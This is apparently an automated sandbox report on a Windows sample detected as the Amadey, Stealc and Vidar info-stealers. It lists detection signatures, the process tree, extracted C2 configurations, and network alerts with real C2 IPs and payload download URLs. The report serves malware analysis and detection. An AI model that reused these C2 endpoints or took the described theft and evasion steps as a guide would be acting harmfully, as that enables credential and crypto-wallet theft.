Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554485
MD5:	bc37773bb9ab9c72ded7535b8cac8b6f
SHA1:	7a0dc5b4ff0be8a6b3b6c013a910a929ab7c85a6
SHA256:	7cd61a43406df841be2ebd093e192ad43eee6dbe9b4fb1cbe5197f3e0adda7a6
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BC37773BB9AB9C72DED7535B8CAC8B6F)

chrome.exe (PID: 7468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2360,i,6398929871605590170,10744528980538309104,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 7508 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJKEBGHJKF.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJJKEBGHJKF.exe (PID: 7972 cmdline: "C:\Users\user\DocumentsJJKEBGHJKF.exe" MD5: 15974FD2DFB0D8849325EAE72EE67856)

skotes.exe (PID: 2476 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 15974FD2DFB0D8849325EAE72EE67856)

skotes.exe (PID: 7960 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 15974FD2DFB0D8849325EAE72EE67856)

skotes.exe (PID: 7988 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 15974FD2DFB0D8849325EAE72EE67856)

2012aae27e.exe (PID: 7164 cmdline: "C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe" MD5: BC37773BB9AB9C72DED7535B8CAC8B6F)

skotes.exe (PID: 5600 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 15974FD2DFB0D8849325EAE72EE67856)

b617b009b1.exe (PID: 2936 cmdline: "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe" MD5: 3E79282C154C08FDF6EC285B44608428)

b617b009b1.exe (PID: 7308 cmdline: "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe" MD5: 3E79282C154C08FDF6EC285B44608428)

b617b009b1.exe (PID: 8124 cmdline: "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe" MD5: 3E79282C154C08FDF6EC285B44608428)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1980746519.00000000001D1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000002.2903901457.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1661477949.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.2568449016.0000000000971000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2052496873.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000002.2027877406.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2032579653.0000000000271000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000003.2527772656.0000000005320000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 2012aae27e.exe PID: 7164	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 2012aae27e.exe PID: 7164	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.skotes.exe.b50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.b50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
9.2.DocumentsJJKEBGHJKF.exe.270000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.skotes.exe.b50000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7988, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b617b009b1.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7284, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7468, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7988, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b617b009b1.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:18.501914+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.4	49755	TCP
2024-11-12T15:41:56.982104+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.4	49762	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:42:32.451016+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49804	185.215.113.43	80	TCP
2024-11-12T15:42:38.408706+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49806	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:03.470948+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:03.464390+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:03.744551+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:04.828839+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:03.751644+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:03.185317+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:42:29.229978+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49802	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:42:28.171467+0100	2856121	1	A Network Trojan was detected	192.168.2.4	49801	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:42:05.294929+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49782	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:42:27.262780+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49788	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:42:08.633655+0100	2803305	3	Unknown Traffic	192.168.2.4	49794	185.215.113.16	80	TCP
2024-11-12T15:42:33.348114+0100	2803305	3	Unknown Traffic	192.168.2.4	49805	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T15:41:05.359257+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-12T15:41:18.256358+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:19.402305+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:19.967280+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:20.414034+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:21.575587+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:22.006576+0100	2803304	3	Unknown Traffic	192.168.2.4	49751	185.215.113.206	80	TCP
2024-11-12T15:41:25.925748+0100	2803304	3	Unknown Traffic	192.168.2.4	49761	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.43/Zu7JuNko/index.php5763001	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpa	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpm	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpu	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpn(S	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpsdX	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dll3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpK%	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php3	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dllz/;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php%/	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpSession	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe:2	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe?3	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exeZ	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/steam/random.exe61395d7fC_	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/random.exe;R	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllG	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/off/random.exek3;	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php7Z	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpQ	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0000000C.00000002.2903901457.0000000000B51000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.7284.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C71A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C714440 PK11_PrivDecrypt,	0_2_6C714440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E4420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C6E4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7144C0 PK11_PubEncrypt,	0_2_6C7144C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7625B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C7625B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C6F8670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C71A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FE6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C6FE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73A730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C73A730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C740180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C740180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7143B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C7143B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C737C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C737C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F7D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C6F7D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C73BD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C739EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C739EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C713FF0 PK11_PrivDecryptPKCS1,	0_2_6C713FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C713850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C713850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C719840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C719840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C73DA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C747410 NSS_SecureMemcmp,PR_SetError,PK11_Decrypt,	0_2_6C747410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C713560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C713560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70F050 PR_smprintf,SEC_CertNicknameConflict,strlen,realloc,memset,realloc,strlen,free,PR_smprintf,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,memcpy,PORT_NewArena_Util,PR_SetError,PORT_FreeArena_Util,PR_SetError,PR_SetError,PR_GetCurrentThread,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,PK11_GenerateRandom,SECKEY_DestroyPrivateKey,PR_SetError,free,free,free,free,PK11_FindCertInSlot,PORT_NewArena_Util,free,PK11_ImportCert,PR_SetError,free,CERT_DestroyCertificate,PORT_FreeArena_Util,PR_GetCurrentThread,PORT_ArenaAlloc_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_GetCurrentThread,strlen,PR_SetError,PR_GetCurrentThread,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_HasAttributeSet,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,PR_SetError,free,SECKEY_DestroyPrivateKey,SECKEY_DestroyEncryptedPrivateKeyInfo,PR_SetError,	0_2_6C70F050

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49748 version: TLS 1.2
